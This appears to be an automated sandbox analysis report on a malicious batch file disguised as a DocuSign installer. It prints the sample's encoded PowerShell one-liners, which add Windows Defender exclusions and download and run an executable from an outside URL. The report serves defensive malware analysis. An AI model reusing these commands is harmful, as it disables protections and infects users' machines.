Analysis
- max time kernel
298s - max time network
299s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
23/08/2026, 06:36
Static task
static1
Behavioral task
behavioral1
Sample
Docusign_Installer.bat
Resource
win10v2004-20260513-en
7 signatures
300 seconds
Behavioral task
behavioral2
Sample
Docusign_Installer.bat
Resource
win11ltsc2024-20260709-en
7 signatures
300 seconds
General
- Target Docusign_Installer.bat
- Size 11.8MB
- Sample260823-hdazzshe68
- SHA256 de365fbad1d040289c2fd84f322ca8dc8f9e66fbc2e8754dfe69313ff4989c47
- MD5 a56e447daceeddd5c03bae56c61f4457
- SHA1 ca2f14dd181b8481553d8b9f63bb0f8fe64c9473
- SHA512 05e3253bbf91bb3d862f02bb4a3a546a9dc5c76b8d29f36c9d568e5a1afa022039f433085c654db8d26517a81a13e9b32f8a84cff6f127e4d59d85773a8e1266
- SSDEEP 49152:Kppppppppppppppppppppppppppppppppppppppppppppppppppppppppl:2
- TLSH T187C6F1464FE70BE2FA482D8C3D282546151B7AB27A60D1BF1DF730458BBCA9D203579E
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
https://dsyscod.com/docu.exe
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 7 5560 powershell.exe -
pid Process 824 powershell.exe 5560 powershell.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4796 cmd.exe 4220 cmd.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 824 powershell.exe 824 powershell.exe 5560 powershell.exe 5560 powershell.exe - Suspicious use of AdjustPrivilegeToken 44 IoCs
description pid Process Token: SeDebugPrivilege 824 powershell.exe Token: SeIncreaseQuotaPrivilege 824 powershell.exe Token: SeSecurityPrivilege 824 powershell.exe Token: SeTakeOwnershipPrivilege 824 powershell.exe Token: SeLoadDriverPrivilege 824 powershell.exe Token: SeSystemProfilePrivilege 824 powershell.exe Token: SeSystemtimePrivilege 824 powershell.exe Token: SeProfSingleProcessPrivilege 824 powershell.exe Token: SeIncBasePriorityPrivilege 824 powershell.exe Token: SeCreatePagefilePrivilege 824 powershell.exe Token: SeBackupPrivilege 824 powershell.exe Token: SeRestorePrivilege 824 powershell.exe Token: SeShutdownPrivilege 824 powershell.exe Token: SeDebugPrivilege 824 powershell.exe Token: SeSystemEnvironmentPrivilege 824 powershell.exe Token: SeRemoteShutdownPrivilege 824 powershell.exe Token: SeUndockPrivilege 824 powershell.exe Token: SeManageVolumePrivilege 824 powershell.exe Token: 33 824 powershell.exe Token: 34 824 powershell.exe Token: 35 824 powershell.exe Token: 36 824 powershell.exe Token: SeIncreaseQuotaPrivilege 824 powershell.exe Token: SeSecurityPrivilege 824 powershell.exe Token: SeTakeOwnershipPrivilege 824 powershell.exe Token: SeLoadDriverPrivilege 824 powershell.exe Token: SeSystemProfilePrivilege 824 powershell.exe Token: SeSystemtimePrivilege 824 powershell.exe Token: SeProfSingleProcessPrivilege 824 powershell.exe Token: SeIncBasePriorityPrivilege 824 powershell.exe Token: SeCreatePagefilePrivilege 824 powershell.exe Token: SeBackupPrivilege 824 powershell.exe Token: SeRestorePrivilege 824 powershell.exe Token: SeShutdownPrivilege 824 powershell.exe Token: SeDebugPrivilege 824 powershell.exe Token: SeSystemEnvironmentPrivilege 824 powershell.exe Token: SeRemoteShutdownPrivilege 824 powershell.exe Token: SeUndockPrivilege 824 powershell.exe Token: SeManageVolumePrivilege 824 powershell.exe Token: 33 824 powershell.exe Token: 34 824 powershell.exe Token: 35 824 powershell.exe Token: 36 824 powershell.exe Token: SeDebugPrivilege 5560 powershell.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4796 wrote to memory of 4220 4796 cmd.exe 89 PID 4220 wrote to memory of 4880 4220 cmd.exe 91 PID 4880 wrote to memory of 3108 4880 net.exe 92 PID 4220 wrote to memory of 824 4220 cmd.exe 93 PID 4220 wrote to memory of 5560 4220 cmd.exe 96
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Docusign_Installer.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4796 -
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Docusign_Installer.bat" MINIMIZED2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4220 -
C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
PID:4880 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵PID:3108
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "$de = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('TmV3LUl0ZW1Qcm9wZXJ0eSAtUGF0aCAiSEtMTTpcU09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3MgRGVmZW5kZXJcRXhjbHVzaW9uc1xQYXRocyIgLU5hbWUgIkM6XCIgLVByb3BlcnR5VHlwZSBTdHJpbmcgLVZhbHVlICIwIiAtRm9yY2U7IEFkZC1NcFByZWZlcmVuY2UgLUV4Y2x1c2lvblByb2Nlc3MgIlBvd2VyU2hlbGwuZXhlIjsgQWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcIiwgIiRlbnY6VEVNUCI=')); Invoke-Expression $de"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:824
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "$de = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGV4ZUZpbGUgPSBbU3lzdGVtLklPLlBhdGhdOjpDb21iaW5lKCRlbnY6VEVNUCwgJ3NldHVwLmV4ZScpOyAoTmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJ2h0dHBzOi8vZHN5c2NvZC5jb20vZG9jdS5leGUnLCAkZXhlRmlsZSk7IFN0YXJ0LVByb2Nlc3MgJGV4ZUZpbGU=')); Invoke-Expression $de"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5560
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-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 c607a4fefaa80b1545f511db0bb4e1fdb96b7027a743bc2e070f121af7559b3b
- MD5 0029b966abc090d27772e9bb951d5ee1
- SHA1 65d54e611cd15fcd0f2807f52689f0701435a67a
- SHA512 cdbdcfba2fc8c4915205f76db5d332c7cb700baddc08f7cbdf2f866fb0867dd605fd50f7870eaf0345fca4a7cc1d4b67cb97ed3ef447bf7023fdf7e42de7091c
- TLSH T17E216833B3DD8614C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d1kfzv3d.qov.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH